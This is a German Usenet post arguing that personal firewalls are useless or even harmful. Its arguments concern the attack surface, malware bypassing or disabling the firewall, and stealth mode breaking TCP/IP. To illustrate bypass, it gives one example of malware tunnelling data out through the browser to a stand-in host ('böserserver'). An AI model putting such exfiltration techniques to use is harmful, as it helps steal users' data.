Moin,
was heist: "bringt nichts"?
Bringt nichts heisst bringt nichts. Einer "Personal Firewall" werden
vom Marketing in der Regel 3 Funktionen zugeschrieben:
-
soll vor Angriffen aus dem Internet schützen
+ Auf einem Rechner welcher keine Dienste in's Internet anbietet
können auch keine Lücken in diesen Diensten angegriffen werden.
Einfach alle Netzwerkdienste abstellen (Link habe ich gegeben)
und schon ist die PFW unnötig. Schlimmer noch: Die PFW vergrößert
die Codebasis und fügt Komplexität hinzu, jetzt könnten nicht nur
Fehler im Betriebssystem sondern auch in der PFW für einen Angriff
ausgenutzt werden. (Das ist bereits vorgekommen.) -
soll Programme am nach Hause telefonieren hindern
+ Das können sie nicht:
a) die meisten PFWs fragen bei ausgehenden Verbindungen von
unbekannten Programmen den Benutzer was passieren soll,
diese Abfrage kann das bösartige Programm einfach selbst
beantworten (so schnell wie ein Programm klicken kann, kann
der Benutzer den Text gar nicht lesen);
b) wenn nicht lassen sich die meisten PFWs mit den Rechten des
Benutzers umkonfigurieren (zumal der in der Regel als Admin
unterwegs ist), also kann auch ein bösartiges Programm mit
den Rechten des Benutzers die PFW einfach abschalten;
c) selbst wenn a) oder b) nicht möglich sein sollten, kann man
beliebige Daten immer noch über beliebige andere Programme
tunnneln, wenn's gar nicht anders geht ruft die Schadsoftware
halt den Standardbrowser auf und lässt ihn
http://böserserver/cgi-bin/tunnel?rauszutunnelndeDaten abrufen. -
soll den Rechner unsichtbar machen
+ Das geht prinzipbedingt nicht. Normalerweise gibt ein Rechner
auf Verbindungsanfragen (SYN) eine positive (SYN/ACK) oder
eine negative Antwort (RST), wenn der Rechner nicht erreichbar/die
Addresse nicht vergeben ist, sendet der letzte Router eine
ICMP-Fehlermeldung raus. Eine PFW verletzt dieses Protokoll
in der Regel absichtlich und schickt gar keine Antwort zurück.
Da wie eben gesagt im Normalfall immer eine Antwort käme, teilt
sie so mit: a) der Rechner ist da und b) der Rechner wird von
einer Software 'geschützt' deren Autor TCP/IP nicht verstanden
hat. Übrigens: Wenn keine Antwort kommt, muß der anfragende
Rechner davon ausgehen, daß sein SYN oder die Antwort darauf
unterwegs verlorengegangen sind und versucht seine Anfrage
nochmal (in der Regel so um die 4 Wiederholungen), eine PFW sorgt
also für mehr unnötigen Traffic.
hat keinerlei wirkung?
Och, Wirkungen gibt es schon, die sind aber allesamt nachteilig.
hat nicht die selbe wirkung, wie eine hardware-firewall?
Eine 'Hardware-Firewall' hätte wenigstens den Vorteil nicht vom
aktuellen Benutzer und damit von von ihm ausgeführter Malware direkt
konfigurierbar zu sein.
Henryk Plötz
Grüße aus Berlin
~~~~~~~~ Un-CDs, nein danke! http://www.heise.de/ct/cd-register/ ~~~~~~~~
~~ Help Microsoft fight software piracy: Give Linux to a friend today! ~~